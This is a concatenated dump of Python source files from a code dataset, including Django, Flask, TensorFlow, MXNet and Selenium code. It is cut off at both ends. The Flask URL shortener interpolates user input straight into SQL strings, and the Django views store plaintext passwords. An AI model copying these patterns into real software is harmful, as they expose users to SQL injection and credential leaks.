circ_all.append(transpiled_circ_fixed +\n transpiled_circ_diagonalize)\n\n self.transpiled_circs = circ_all\n\n if hasattr(self.backend.configuration(), 'max_experiments'):\n chunk_size = self.backend.configuration().max_experiments\n else:\n # using simulator, apply multithreading\n chunk_size = len(circ_all) // self.max_jobs\n\n split_circs = [circ_all[i:i + chunk_size] for i in range(\n 0, len(circ_all), chunk_size)]\n\n qiskit_verbose = self.max_jobs <= 2\n feed_dicts = []\n for split_circ in split_circs:\n feed_dict = {\n 'experiments': split_circ,\n 'backend': self.backend,\n 'pass_manager': self.empty_pass_manager,\n 'shots': self.n_shots,\n 'seed_simulator': self.seed_simulator,\n 'noise_model': self.noise_model,\n }\n feed_dicts.append([feed_dict, qiskit_verbose])\n\n p = multiprocessing.Pool(self.max_jobs)\n results = p.map(run_job_worker, feed_dicts)\n p.close()\n\n if all(isinstance(result, dict) for result in results):\n counts = results\n else:\n if isinstance(results[-1], dict):\n results[-1] = [results[-1]]\n counts = list(itertools.chain(*results))\n\n measured_qiskit = get_expectations_from_counts(\n counts, n_wires=q_device.n_wires)\n\n measured_qiskit = torch.tensor(measured_qiskit,\n device=q_device.state.device)\n\n return measured_qiskit\n\n def process(self, q_device: tq.QuantumDevice, q_layer: tq.QuantumModule,\n q_layer_measure: tq.QuantumModule, x):\n circs = []\n for i, x_single in tqdm(enumerate(x)):\n circ = tq2qiskit(q_device, q_layer, x_single.unsqueeze(0))\n if q_layer_measure.v_c_reg_mapping is not None:\n for q_reg, c_reg in q_layer_measure.v_c_reg_mapping[\n 'v2c'].items():\n circ.measure(q_reg, c_reg)\n else:\n circ.measure(list(range(q_device.n_wires)), list(range(\n q_device.n_wires)))\n circs.append(circ)\n\n transpiled_circs = self.transpile(circs)\n self.transpiled_circs = transpiled_circs\n\n job = execute(experiments=transpiled_circs,\n backend=self.backend,\n shots=self.n_shots,\n # initial_layout=self.initial_layout,\n seed_transpiler=self.seed_transpiler,\n seed_simulator=self.seed_simulator,\n coupling_map=self.coupling_map,\n basis_gates=self.basis_gates,\n noise_model=self.noise_model,\n optimization_level=self.optimization_level,\n )\n job_monitor(job, interval=1)\n\n result = job.result()\n counts = result.get_counts()\n\n measured_qiskit = get_expectations_from_counts(\n counts, n_wires=q_device.n_wires)\n measured_qiskit = torch.tensor(measured_qiskit, device=x.device)\n\n return measured_qiskit\n","sub_path":"torchquantum/plugins/qiskit_processor.py","file_name":"qiskit_processor.py","file_ext":"py","file_size_in_byte":15581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"511010644","text":"import datetime\nfrom django.shortcuts import render, redirect, reverse\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom .models import UserInfo, BlogInfo\nfrom django.template import loader\n\n\n# 定义视图 index方法\ndef index(request):\n # blogs = BlogInfo.objects.all()\n # print(blogs)\n # # 加载模板\n # temp = loader.get_template(\"blog/index.html\")\n # # 使用模板 渲染动态数据\n # res = temp.render({\"username\": \"管理员\"})\n # # 把渲染结果返回也\n # return HttpResponse(res)\n return render(request, \"blog/index.html\", {\"username\": \"管理员\"})\n\n\n# 获取用户列表\ndef list(request):\n # 获取所有的用户信息\n users = UserInfo.objects.all()\n # 加载模板\n # temp = loader.get_template(\"blog/list.html\")\n # # 获取动态数据,渲染到静态页面\n # res = temp.render({\"users\": users})\n # # 把渲染的动态数据返回页面\n # return HttpResponse(res)\n return render(request, \"blog/list.html\", {\"users\": users})\n\n\n# 添加用户\ndef adduser(request):\n # 如果是get请求跳转到用户注册页面\n if request.method == \"GET\":\n return render(request, \"blog/adduser.html\")\n # 如果是post请求,把用户注册的信息提交到数据库,并且返回到列表页面\n elif request.method == \"POST\":\n userInfo = UserInfo()\n userInfo.username = request.POST.get(\"username\")\n userInfo.password = request.POST.get(\"password\")\n userInfo.gender = request.POST.get(\"gender\")\n userInfo.age = request.POST.get(\"age\")\n userInfo.phone = request.POST.get(\"phone\")\n userInfo.save()\n # return HttpResponseRedirect(\"/list\")\n return redirect(reverse(\"blog:list\"))\n\n\n# 用户详细页面\ndef detail(request, id):\n print(\"这是传递的参数:%s\"%(id,))\n userInfo = UserInfo.objects.get(pk=id)\n # 获取模板\n # temp = loader.get_template(\"blog/detail.html\")\n # # 渲染数据\n # res = temp.render({\"user\": userInfo})\n # # 返回页面\n # return HttpResponse(res)\n return render(request, \"blog/detail.html\", {\"user\": userInfo})\n\n\n# 根据id删除用户信息\ndef delete(request, id):\n userInfo = UserInfo.objects.get(pk=id)\n userInfo.delete()\n\n # return HttpResponseRedirect(\"/list/\")\n return redirect(reverse(\"blog:list\"))\n\n\n# 添加博客\ndef addblog(request, id):\n # 获取用户信息\n userInfo = UserInfo.objects.get(pk=id)\n if request.method == \"GET\":\n # 跳转到博客添加页面\n return render(request, \"blog/addblog.html\", {\"user\": userInfo})\n elif request.method == \"POST\":\n # 获取博客信息\n blog = BlogInfo()\n blog.title = request.POST.get(\"title\")\n blog.content = request.POST.get(\"content\")\n blog.createTime = datetime.datetime.now()\n blog.createBy = userInfo\n # 把博客信息保存到数据库\n blog.save()\n # 重定向到用户详细及博客列表显示页面\n # return HttpResponseRedirect(\"/detail/%s\"%(id))\n return redirect(reverse(\"blog:detail\", args=(id,)))\n\n\n# 删除博客信息\ndef deleteblog(request, id):\n blog = BlogInfo.objects.get(pk=id)\n blog.delete()\n # return HttpResponseRedirect(\"/detail/%s\"%(blog.createBy.id))\n return redirect(reverse(\"blog:detail\", args=(blog.createBy.id,)))\n","sub_path":"mysite/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"619000338","text":"from selenium import webdriver\nimport time\nfrom pageObjects.pg_utils import date\nfrom testCases.conftest import setup\n\n\nclass AddCustomer:\n\n # Add Customer Page\n #lnkCustomers_menu_link = \"//a[@href='#']//p[contains(text(),'Customers')]\"\n lnkCustomers_menu_link = \"//a[@href='#']//p[contains(text(),'Catalog')]\"\n lnkCustomers_menuitem_xpath = \"//a[@href='/Admin/Customer/List']//p[contains(text(),'Customers')]\"\n btnAddnew_xpath = \"//a[@class='btn btn-primary']\"\n txtEmail_xpath = \"//input[@id='Email']\"\n txtPassword_xpath = \"//input[@id='Password']\"\n txtFirstName_xpath = \"//input[@id='FirstName']\"\n txtLastName_xpath = \"//input[@id='LastName']\"\n rdMaleGender_id = \"Gender_Male\"\n rdFemaleGender_id = \"Gender_Female\"\n txtDob_xpath = \"//input[@id='DateOfBirth']\"\n txtCompanyName_xpath = \"//input[@id='Company']\"\n txtCustomerRoles_xpath = \"//div[@class='k-widget k-multiselect k-multiselect-clearable']\"\n lstitem_Administrators_xpath = \"//li[contains(text(),'Administrators')]\"\n lstitem_Guests_xpath = \"//li[contains(text(),'Guests')]\"\n lstitem_Vendros_xpath = \"//li[contains(text(),'Vendors')]\"\n lstitem_ForumModerators_xpath = \"//li[contains(text(),'Forum Moderators')]\"\n drpmgrOfVendor_xpath = \"//select[@id='VendorId']\"\n txtAdminComment_xpath = \"//textarea[@id='AdminComment']\"\n btnSave_xpath = \"//button[@name='save']\"\n email_search =\"//input[@id='SearchEmail']\"\n search_buttn =\"//button[normalize-space()='Search']\"\n\n\n def __init__(self,driver):\n self.driver=driver\n\n def customer_main_menu(self):\n time.sleep(4)\n self.driver.find_element_by_xpath(self.lnkCustomers_menu_link).click()\n self.driver.find_element_by_xpath(self.lnkCustomers_menuitem_xpath).click()\n\n def customer_sub_menu(self):\n\n self.driver.find_element_by_xpath(self.btnAddnew_xpath).click()\n\n def customer_email(self):\n email = self.driver.find_element_by_xpath(self.txtEmail_xpath)\n email.send_keys(date.date_timestamp(1)+'@demo.com')\n value =self.driver.find_element_by_xpath(self.txtEmail_xpath).get_attribute(\"value\")\n\n print(\"Email is : \"+str(value))\n return value\n def enter_first_name(self):\n email = self.driver.find_element_by_xpath(self.txtFirstName_xpath)\n email.send_keys(\"Fname\")\n\n def enter_last_name(self):\n email = self.driver.find_element_by_xpath(self.txtLastName_xpath)\n email.send_keys(\"Lname\")\n\n def save_customer(self):\n\n self.driver.find_element_by_xpath(self.btnSave_xpath).click()\n\n def search_email_address(self,customer_email):\n email = self.driver.find_element_by_xpath(self.email_search)\n email.send_keys(customer_email)\n\n def button_search(self):\n self.driver.find_element_by_xpath(self.search_buttn).click()\n\n\n\n\n\n","sub_path":"pageObjects/AddcustomerPage.py","file_name":"AddcustomerPage.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"166283899","text":"from ..app import rule\nfrom ..app._endpoint import AppEndpoint\nfrom ..app.benchmarks import RunMixin\nfrom ..config import Config\n\n\nclass Index(AppEndpoint, RunMixin):\n def page(self, runs):\n reasons = {r[\"display_name\"] for r in runs if r[\"display_name\"]}\n commits = {r[\"commit\"][\"url\"] for r in runs if r[\"commit\"][\"url\"]}\n authors = {\n r[\"commit\"][\"author_name\"] for r in runs if r[\"commit\"][\"author_name\"]\n }\n return self.render_template(\n \"index.html\",\n application=Config.APPLICATION_NAME,\n title=\"Home\",\n runs=runs,\n has_reasons=len(reasons) > 0,\n has_authors=len(authors) > 0,\n has_commits=len(commits) > 0,\n )\n\n def get(self):\n if self.public_data_off():\n return self.redirect(\"app.login\")\n\n runs = self.get_display_runs()\n return self.page(runs)\n\n\nview = Index.as_view(\"index\")\nrule(\"/\", view_func=view, methods=[\"GET\"])\nrule(\"/index/\", view_func=view, methods=[\"GET\"])\n","sub_path":"conbench/app/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"506257246","text":"import itertools\nimport json\nimport time\n\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup as bs\n\n# 각자 파일 저장한 위치 경로\nCSV_FILE_PATH = \"INSERT FILE PATH\"\n\nHEADERS = {\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\"\n}\n\n\ndef create_list(df):\n dir_list = dict()\n for idx in df.index:\n cur = df.loc[idx]\n # 감독의 데이터를 뽑아온다.\n cur_dir = cur[\"director\"].replace(\"'\", \"\")[1:-1].split(\",\")\n # 감독들을 넣는다.\n for dir in cur_dir:\n dir_list[dir] = \"\"\n return dir_list\n\n\ndef search_director(director):\n time.sleep(0.5)\n naver_search = f\"https://search.naver.com/search.naver?query={director}\"\n\n try:\n search_name = requests.get(naver_search, headers=HEADERS)\n except:\n time.sleep(5)\n search_name = requests.get(naver_search, headers=HEADERS)\n\n res = search_name.text\n soup = bs(res, \"html.parser\")\n\n try:\n return soup.find(\"span\", \"area_text_title\").text\n except:\n return None\n\n\nif __name__ == \"__main__\":\n # 현재 CSV File을 읽어온다.\n df = pd.read_csv(CSV_FILE_PATH)\n # list를 만든다.\n # 각자 맡을 코드 밑에 주석처리한 부분에다가 넣고 돌려주세요.\n dir_list = create_list(df)\n\n for dir in dir_list:\n try:\n change_dir = search_director(dir)\n print(f\"{dir} => {change_dir}\")\n dir_list[dir] = change_dir\n except Exception as e:\n print(e)\n\n json = json.dumps(dir_list)\n\n # 여기도 각자 start-end형식으로 [ex) (0-20000)] 파일명을 작성해주세요.\n # 작성해주셔서 파일 주시면 됩니다~\n with open(\"./director.json\", \"w\") as f:\n f.write(json)\n","sub_path":"data/processing/naver_search/director_processing.py","file_name":"director_processing.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"13223812","text":"# pylint:skip-file\nimport sys\nimport mxnet as mx\nimport numpy as np\nfrom collections import namedtuple\nimport time\nimport math\n\nsys.path.append(\"..\")\nfrom rnn import RNN\n\ndef rnn_unroll(num_layers, seq_len, input_size,\n num_hidden, num_embed, num_label,\n ignore_label, mode = 'lstm', bi_directional = False,\n dropout = 0., train = True):\n\n # define weight variable and initial states\n embed_weight = mx.sym.Variable(\"embed_weight\")\n cls_weight = mx.sym.Variable(\"cls_weight\")\n cls_bias = mx.sym.Variable(\"cls_bias\")\n\n # embedding layer\n data = mx.sym.Variable('data')\n mask = mx.sym.Variable('mask')\n\n embed = mx.sym.Embedding(\n data = data,\n input_dim = input_size,\n weight = embed_weight,\n output_dim = num_embed,\n name = 'embed'\n )\n\n rnn_outputs = RNN(\n data = embed, \n mask = mask, \n mode = mode, \n seq_len = seq_len, \n real_seq_len = None, \n num_layers = num_layers, \n num_hidden = num_hidden, \n bi_directional = bi_directional, \n states = None, \n cells = None, \n dropout = dropout, \n name = 'ptb'\n ).get_outputs()\n\n hidden_all = []\n if bi_directional:\n for i in xrange(seq_len):\n hidden_all.append(\n mx.sym.Concat(*[rnn_outputs['last_layer'][2*i], rnn_outputs['last_layer'][2*i+1]], dim = 1)\n )\n else: \n hidden_all = rnn_outputs['last_layer']\n\n # fullyconnected and softmax layer\n hidden_concat = mx.sym.Concat(*hidden_all, dim = 0)\n pred = mx.sym.FullyConnected(\n data = hidden_concat,\n num_hidden = num_label,\n weight = cls_weight,\n bias = cls_bias,\n name = 'pred'\n )\n if train:\n label = mx.sym.Variable('label')\n ## make label shape compatiable as hiddenconcat\n ## notice this reshape\n label = mx.sym.transpose(data = label)\n label = mx.sym.Reshape(data = label, shape = (-1,))\n ## notice the ignore label parameter\n sm = mx.sym.SoftmaxOutput(\n data = pred,\n label = label,\n ignore_label = ignore_label,\n use_ignore = True,\n name = 'softmax'\n )\n return sm\n else:\n sm = mx.sym.SoftmaxOutput(\n data = pred,\n name = 'softmax'\n )\n output = [sm]\n for i in range(num_layers):\n output.append(rnn_outputs['last_time'][2*i])\n output.append(rnn_outputs['last_time'][2*i+1])\n return mx.sym.Group(output)\n\n\n","sub_path":"rnn/rnn_unroll.py","file_name":"rnn_unroll.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"394629783","text":"from account import Account\nfrom insufficient_funds_exception import InsufficientFunds\nfrom max_number_withdrawals import MaxNumberOfWithdrawals\n\n\nclass SavingsAccount(Account):\n def __init__(self, name, balance, interest_rate, withdrawal_num_limit, num_of_withdrawals):\n Account.__init__(self, name, balance)\n self._interest_rate = interest_rate\n self._withdrawal_num_limit = withdrawal_num_limit\n self._num_of_withdrawals = num_of_withdrawals\n\n def __str__(self):\n super().__str__()\n return f\"{self._name}'s bank balance is {self._balance:.2f}, interest rate: {self._interest_rate}, \" \\\n f\"number of withdrawals limit: {self._withdrawal_num_limit}, sort code: {self._sortcode}, account number: {self._account_number}\"\n\n def make_withdrawal(self, amount):\n if self._withdrawal_num_limit < self._num_of_withdrawals:\n raise MaxNumberOfWithdrawals(\"Error: You have reached your limit of \" + str(self._withdrawal_num_limit) +\n \" withdrawals this month\")\n elif amount - self._balance >= 0:\n raise InsufficientFunds(\"Error: Insufficient funds to withdraw:£\" + str(amount))\n else:\n self._balance -= amount\n self._num_of_withdrawals += 1\n\n\nif __name__ == \"__main__\":\n account4 = SavingsAccount(\"Jonny Cash\", 50, 0.5, 5, 4)\n try:\n account4.make_withdrawal(15)\n except MaxNumberOfWithdrawals as max_error:\n print(str(max_error))\n except InsufficientFunds as my_error:\n print(str(my_error))\n print(account4.get_balance())\n try:\n account4.make_withdrawal(60)\n except MaxNumberOfWithdrawals as max_error:\n print(str(max_error))\n except InsufficientFunds as my_error:\n print(str(my_error))\n print(account4.get_balance())\n try:\n account4.make_withdrawal(30)\n except MaxNumberOfWithdrawals as max_error:\n print(str(max_error))\n except InsufficientFunds as my_error:\n print(str(my_error))\n print(account4.get_balance())\n try:\n account4.make_withdrawal(30)\n except MaxNumberOfWithdrawals as max_error:\n print(str(max_error))\n except InsufficientFunds as my_error:\n print(str(my_error))\n # account4.make_withdrawal(5)\n # print(account4.get_balance())\n # account4.make_withdrawal(5)\n # print(account4.get_balance())\n # account4.make_withdrawal(5)\n # print(account4.get_balance())","sub_path":"bankapp/exception_handling_task/savings_account.py","file_name":"savings_account.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"33595116","text":"from string import ascii_lowercase,ascii_uppercase,digits,whitespace,punctuation\r\nfrom random import randrange\r\nfrom math import ceil\r\n\r\nclass Caesar(object):\r\n def encode(self,t):\r\n return t.lower().translate(\r\n str.maketrans(ascii_lowercase,\r\n ascii_lowercase[3:]+'abc',\r\n digits + punctuation + whitespace))\r\n def decode(self,t):\r\n return t.translate(\r\n str.maketrans(ascii_lowercase[3:]+'abc',\r\n ascii_lowercase))\r\n\r\nclass Cipher(object):\r\n def __init__(self,key=None):\r\n if key:\r\n for character in key:\r\n if (character in ascii_uppercase or\r\n character in digits or\r\n character in whitespace):\r\n raise Exception('Key should be alphabetical and lowercase.')\r\n self.key = key\r\n else:\r\n self.key = ''\r\n for i in range(0,100):\r\n self.key += ascii_lowercase[randrange(0,26)]\r\n \r\n def encode(self,text):\r\n if len(self.key) < len(text):\r\n self.key *= ceil(len(text) / len(self.key))\r\n result = ''\r\n for i in range(len(text)):\r\n result += (2*ascii_lowercase)[ascii_lowercase.index(text[i]) +\r\n ascii_lowercase.index(self.key[i])]\r\n return result\r\n\r\n def decode(self,text):\r\n if len(self.key) < len(text):\r\n self.key *= ceil(len(text) / len(self.key))\r\n result = ''\r\n for i in range(len(text)):\r\n result += (ascii_lowercase)[ascii_lowercase.index(text[i]) -\r\n ascii_lowercase.index(self.key[i])]\r\n return result\r\n\r\n","sub_path":"all_data/exercism_data/python/simple-cipher/40b9ee01b6b64f95b1df4763439f81de.py","file_name":"40b9ee01b6b64f95b1df4763439f81de.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"32049229","text":"\n\n#calss header\nclass _DIGIT():\n\tdef __init__(self,): \n\t\tself.name = \"DIGIT\"\n\t\tself.definitions = [u'any one of the ten numbers 0 to 9: ', u'a finger, thumb, or toe']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_digit.py","file_name":"_digit.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"535463121","text":"\"\"\"\nclasses for encoding features using tensorflow features columns\n\"\"\"\nimport tensorflow as tf\n\n\nclass CategoricalFeatureEncoder:\n \"\"\"\n Class encodes Categorical features using tensorflow feature_columns\n \"\"\"\n def __init__(self, features=None):\n self.features = features\n\n def encode(self, X=None):\n \"\"\"\n Set inputs and catergorical vocab list\n \"\"\"\n feature_vocab_list, categorical_inputs, feature_encoders = {}, {}, {}\n\n for feature in self.features:\n categorical_inputs[feature] = tf.keras.Input(shape=(1,), name=feature, dtype=tf.string)\n feature_vocab_list[feature] = tf.feature_column.categorical_column_with_vocabulary_list(feature, X[feature].unique().tolist())\n feature_encoders[feature] = tf.feature_column.indicator_column(feature_vocab_list[feature])\n # return categorical_inputs, feature_encoders\n return categorical_inputs, [feature for _, feature in feature_encoders.items()]\n\n\nclass EmbeddingFeatureEncoder:\n \"\"\"\n Class encodes high cardinality Categorical features(Embeddings) using tensorflow feature_columns\n \"\"\"\n\n def __init__(self, features, embedding_space_factor=0.5):\n self.features = features\n self.embedding_space_factor = embedding_space_factor\n\n def encode(self, X=None):\n \"\"\"\n Set inputs and dimension for embedding output space\n \"\"\"\n feature_vocab_list, embedding_inputs, feature_encoders = {}, {}, {}\n\n for feature in self.features:\n uniq_vocab = X[feature].unique().tolist()\n embedding_inputs[feature] = tf.keras.Input(shape=(1,), name=feature, dtype=tf.string)\n feature_vocab_list[feature] = tf.feature_column.categorical_column_with_vocabulary_list(feature, uniq_vocab)\n feature_encoders[feature] = tf.feature_column.embedding_column(feature_vocab_list[feature],\n initializer=tf.keras.initializers.RandomNormal(mean=0., stddev=1.),\n dimension=min(int(len(uniq_vocab)**self.embedding_space_factor), 50))\n return embedding_inputs, [feature for _, feature in feature_encoders.items()]\n\n\nclass NumericalFeatureEncoder:\n \"\"\"\n Class encodes numerical features using tensorflow feature_columns\n \"\"\"\n\n def __init__(self, features):\n self.features = features\n\n def encode(self, X=None):\n \"\"\"\n Set inputs for numerical features\n \"\"\"\n numerical_inputs, feature_encoders = {}, {}\n\n for feature in self.features:\n numerical_inputs[feature] = tf.keras.Input(shape=(1,), name=feature, dtype=tf.float32)\n feature_encoders[feature] = tf.feature_column.numeric_column(feature)\n return numerical_inputs, [feature for _, feature in feature_encoders.items()]\n","sub_path":"richter_predictor_challenge/src/feature_encoder.py","file_name":"feature_encoder.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"231114568","text":"import sqlite3\n\n\nclass Produtos:\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n cursor.execute(\"\"\"Create table if not exists Produtos(\n id integer primary key autoincrement,\n nome_produto varchar(50) not null,\n quantidade_produto integer not null,\n valor_produto real not null\n )\"\"\")\n\n def CadastrarProdutos(nome_produto, valor_produto):\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n cursor.execute(\"\"\"insert into Produtos (nome_produto, quantidade_produto, valor_produto) values (?, 0, ?)\"\"\",\n (nome_produto, valor_produto))\n\n def RetornarProdutos():\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n return cursor.execute(\"Select * from Produtos\")\n\n def ExcluirProdutoId(id):\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n cursor.execute(\"delete from Produtos where id = ?\", (id,))\n\n def RetornarProdutoId(id):\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n return cursor.execute(\"Select * from Produtos where id = ? \", (id,))\n\n def AlterarProduto(nome_produto, quantidade_produto, valor_produto, id):\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n cursor.execute(\"\"\"update Produtos set nome_produto = ?, \n quantidade_produto = ?,\n valor_produto = ?\n where id = ?\"\"\", (nome_produto, quantidade_produto, valor_produto, id))\n\n def AlterarQuantidade(id_produto, quantidade):\n with sqlite3.connect(\"Banco.db\") as conn:\n cursor = conn.cursor()\n cursor.execute(\"update Produtos set quantidade_produto = ? where id = ?\", (quantidade, id_produto))\n \n def RetornarQuantidade(id_produto):\n with sqlite3.connect('Banco.db') as conn:\n cursor = conn.cursor()\n return cursor.execute('Select quantidade_produto from Produtos where id = ?', (id_produto,))\n\n def RetornarValorId(id_produto):\n with sqlite3.connect('Banco.db') as conn:\n cursor = conn.cursor()\n return cursor.execute('Select valor_produto from Produtos where id = ? ', (id_produto, ))\n\n","sub_path":"Models/Produtos.py","file_name":"Produtos.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"451987957","text":"from __future__ import unicode_literals\n\nimport warnings\n\nfrom valohai_yaml.utils import listify\n\ntry:\n from shlex import quote\nexcept ImportError: # pragma: no cover\n from pipes import quote\n\n\nclass CommandInterpolationWarning(UserWarning):\n pass\n\n\ndef build_command(command, parameters):\n \"\"\"\n Build command line(s) using the given parameter values.\n\n Even if the passed a single `command`, this function will return a list\n of shell commands. It is the caller's responsibility to concatenate them,\n likely using the semicolon or double ampersands.\n\n :param command: The command to interpolate params into.\n :type command: str|list[str]\n :param parameter_values: Command line parameters for the {parameters} placeholder.\n These are quoted within `build_command`.\n :type parameter_values: list[str]\n\n :return: list of commands\n :rtype: list[str]\n \"\"\"\n parameters_str = ' '.join(quote(parameter) for parameter in parameters)\n # format each command\n env = dict(parameters=parameters_str, params=parameters_str)\n out_commands = []\n for command in listify(command):\n # Only attempt formatting if the string smells like it should be formatted.\n # This allows the user to include shell syntax in the commands, if required.\n # (There's still naturally the chance for false-positives, so guard against\n # those value errors and warn about them.)\n\n if any('{%s}' % key in command for key in env):\n try:\n command = command.format(**env)\n except ValueError as exc: # pragma: no cover\n warnings.warn(\n 'failed to interpolate parameters into %r: %s' % (command, exc),\n CommandInterpolationWarning\n )\n out_commands.append(command.strip())\n return out_commands\n","sub_path":"valohai_yaml/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"500027735","text":"# main.py \nfrom flask import Flask, flash, request, render_template, redirect, session\nfrom math import floor\nfrom sqlite3 import OperationalError\nimport string, sqlite3\nfrom urllib.parse import urlparse\nimport sys\nimport random, string\nimport os\nimport requests\n\nhost = 'http://localhost:5000/'\nhostMask = 'http://cl.ip/'\n\ndef create_connection(db_file):\n try:\n conn = sqlite3.connect(db_file)\n return conn\n except Error as e:\n print(e)\n return None\n\ndef db_check():\n conn = create_connection('urls.db')\n cursor = conn.cursor()\n cursor.execute(\"CREATE TABLE IF NOT EXISTS urls(ID INTEGER PRIMARY KEY,URLKEY VARCHAR(100),URL VARCHAR(100) NOT NULL);\")\n\ndef newKey():\n uniqueKey = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(10))\n return uniqueKey\n#generate a unique short url\ndef generateUnique(original_url):\n uniqueKey = newKey()\n conn = sqlite3.connect('urls.db')\n cursor = conn.cursor()\n cursor.execute(\"SELECT count(*) FROM urls WHERE URLKEY = ?\", (uniqueKey,))\n data=cursor.fetchone()[0]\n if data==0:\n with sqlite3.connect('urls.db') as conn:\n cursor = conn.cursor()\n cursor.execute(\"INSERT INTO urls (URL,URLKEY) VALUES ('%s','%s')\" %(original_url,uniqueKey))\n return uniqueKey\n else:\n generateUnique(original_url)\n\n#checking to see if long url has existing short url\ndef checkUnique(url):\n conn = sqlite3.connect('urls.db')\n cursor = conn.cursor()\n cursor.execute(\"SELECT count(*) FROM urls WHERE URL = ?\", (url,))\n data=cursor.fetchone()[0]\n if data==0:\n uniqueKey = generateUnique(url)\n return uniqueKey\n else:\n cursor.execute(\"SELECT URLKEY FROM urls WHERE URL=('%s')\"%(url))\n existing_urlkey=cursor.fetchone()[0]\n return existing_urlkey\n\ndef validWebsite(url):\n try:\n request = requests.get(url)\n return 1\n except:\n return 0\n\ndef getExistingUrlKey(original_url):\n with sqlite3.connect('urls.db') as conn:\n cursor = conn.cursor()\n cursor.execute(\"SELECT URLKEY from urls where URL=('%s')\"%(original_url))\n existing_urlkey = cursor.fetchone()[0]\n return existing_urlkey\n\ndef getExistingUrl(original_url):\n original_url=original_url.replace('http://cl.ip/','').replace('cl.ip/','')\n with sqlite3.connect('urls.db') as conn:\n cursor = conn.cursor()\n cursor.execute(\"SELECT count(*) FROM urls WHERE URLKEY=('%s')\"%(original_url))\n countURL = cursor.fetchone()[0]\n if countURL==0:\n flash(\"That Unique ID doesn't exist.\")\n else:\n cursor.execute(\"SELECT URL FROM urls WHERE URLKEY=('%s')\"%(original_url))\n keyMappedURL = cursor.fetchone()[0]\n return keyMappedURL\n\napp = Flask(__name__)\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n if request.method == 'POST':\n original_url = request.form.get('url')\n if 'cl.ip' not in original_url:\n if urlparse(original_url).scheme == '':\n original_url = ('http://'+original_url)\n original_url = original_url.replace('www.','')\n #check if valid website\n if validWebsite(original_url)==1:\n #check if URL is unique & generate OR return existing short URL\n aKey = checkUnique(original_url)\n return render_template('home.html',short_url=host+aKey,mask_url=hostMask+aKey)\n else:\n flash(\"You have entered an invalid URL.\")\n else:\n existing_url = getExistingUrl(original_url)\n return render_template('home.html',short_url=existing_url,mask_url=existing_url)\n return render_template('home.html')\n\n@app.route('/')\ndef doesntmatter(short_url):\n uniqueKey=short_url\n redirect_url = 'http://localhost:5000'\n with sqlite3.connect('urls.db') as conn:\n cursor = conn.cursor()\n result_cursor = cursor.execute(\"SELECT URL FROM urls WHERE URLKEY=('%s')\"%(uniqueKey))\n try:\n redirect_url = result_cursor.fetchone()[0]\n except Exception as e:\n print (e)\n return redirect(redirect_url)\n\nsecret_key = os.urandom(24)\napp.secret_key=secret_key\nif __name__ == '__main__':\n db_check()\n app.run(debug=True)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"263450367","text":"#!/usr/bin/env python\n\"\"\"\nreload.py - Phenny Module Reloader Module\nCopyright 2008, Sean B. Palmer, inamidst.com\nLicensed under the Eiffel Forum License 2.\n\nhttp://inamidst.com/phenny/\n\"\"\"\n\nimport imp\nimport os\nimport sys\nimport time\nfrom bot import module_control\n\ndef restart(phenny):\n for module in phenny.modules:\n module_control(phenny, module, 'teardown')\n\n os.execv('phenny', sys.argv)\n\ndef f_reload(phenny, input):\n \"\"\"Reloads a module, for use by admins only.\"\"\"\n if not (input.admin or input.owner): return\n\n name = input.group(1)\n\n if (not name) or (name == '*'):\n restart(phenny)\n return\n\n if name not in phenny.modules:\n return phenny.reply(\"No '%s' module loaded\" % name)\n module = phenny.modules[name]\n\n # Thanks to moot for prodding me on this\n path = module.__file__\n if path.endswith('.pyc') or path.endswith('.pyo'):\n path = path[:-1]\n if not os.path.isfile(path):\n return phenny.reply('Found %s, but not the source file' % name)\n\n 